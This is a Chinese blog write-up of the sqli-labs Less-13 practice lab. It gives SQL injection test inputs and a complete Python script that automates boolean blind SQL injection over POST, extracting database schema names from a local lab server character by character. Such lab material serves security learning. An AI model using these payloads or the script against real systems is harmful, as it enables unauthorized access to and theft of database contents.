[sqli-labs]Less-13(Bool盲注(POST))

和上道題基本相同 , 只是把雙引號改成單引號
還有值得注意的一點是 :
如何根據(jù)bool來判斷(上道題也是自己疏忽了)
可以通過頁面中顯示的那個圖片來判斷 , 而不必去判斷用戶名和密碼是否顯示出來
Bool盲注比較關(guān)鍵的一點也就是在尋找SQL語句是否成功執(zhí)行的線索

postDate = {"uname":"admin","passwd":"admin"}
postDate = {"uname":"'","passwd":"admin"}
postDate = {"uname":"')or 1-- ","passwd":"admin"}
postDate = {"uname":"')or ()-- ","passwd":"admin"}
#!/usr/bin/env python
# encoding:utf8

import requests
import time
import sys

# config-start
sleep_time = 5
error_time = 1
# config-end

def getPayload(indexOfResult, indexOfChar, mid):
    # admin' or ()-- 
    column_name="schema_name"
    table_name="schemata"
    database_name="information_schema"
    payload = "((ascii(substring((select " + column_name + " from " + database_name + "." + table_name + "  limit " + indexOfResult + ",1)," + indexOfChar + ",1)))>" + mid + ")"
    payload = {"uname":"')or (" + payload + ")-- ","passwd":"admin"}
    return payload

def exce(indexOfResult,indexOfChar,mid):
    # content-start
    url = "http://127.0.0.1/Less-13/"
    postData = getPayload(indexOfResult,indexOfChar,mid)
    content = requests.post(url, data=postData).text
    # content-end
    # judge-start
    if "<img src=\"../images/flag.jpg\"   />" in content:
        return True
    else:
        return False
    # judge-end

def doubleSearch(indexOfResult,indexOfChar,left_number, right_number):
    while left_number < right_number:
        mid = int((left_number + right_number) / 2)
        if exce(str(indexOfResult),str(indexOfChar + 1),str(mid)):
            left_number = mid
        else:
            right_number = mid
        if left_number == right_number - 1:
            if exce(str(indexOfResult),str(indexOfChar + 1),str(mid)):
                mid += 1
                break
            else:
                break
    return chr(mid)

def search():
    for i in range(32): # 需要遍歷的查詢結(jié)果的數(shù)量
        counter = 0
        for j in range(32): # 結(jié)果的長度
            counter += 1
            temp = doubleSearch(i, j, 0, 128) # 從255開始查詢
            if ord(temp) == 1: # 當為1的時候說明已經(jīng)查詢結(jié)束
                break
            sys.stdout.write(temp)
            sys.stdout.flush()
        if counter == 1: # 當結(jié)果集的所有行都被遍歷后退出
            break
        sys.stdout.write("\r\n")
        sys.stdout.flush()

search()
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務。

相關(guān)閱讀更多精彩內(nèi)容

  • 首先通過添加雙引號根據(jù)報錯得到部分SQL語句這題比較重要的一點就是找出后臺PHP文件是如何判斷登陸成功的這里通過判...
    王一航閱讀 548評論 0 0
  • 注入攻擊的分類 1.沒有正確過濾轉(zhuǎn)義字符 在用戶的輸入沒有為轉(zhuǎn)義字符過濾時,就會發(fā)生這種形式的注入式攻擊,它會被傳...
    查無此人asdasd閱讀 1,837評論 0 5
  • [SQL注入攻擊] SQL注入攻擊是黑客對數(shù)據(jù)庫進行攻擊的常用手段之一。隨著B/S模式應用開發(fā)的發(fā)展,使用這種模式...
    James黃杰閱讀 2,913評論 0 30
  • Web安全簡史 在Web1.0時代,人們更多是關(guān)注服務器端動態(tài)腳本語言的安全問題,比如將一個可執(zhí)行腳本(俗稱Web...
    潘良虎閱讀 4,026評論 3 72
  • 表妹家的外甥女 表妹家的女兒,生下來就是大眼睛,他爸爸抱著她,數(shù)手上的斗,哇,有十個斗啊,不等了。我們的十斗寶寶確...
    開心的靈通閱讀 480評論 0 0

友情鏈接更多精彩內(nèi)容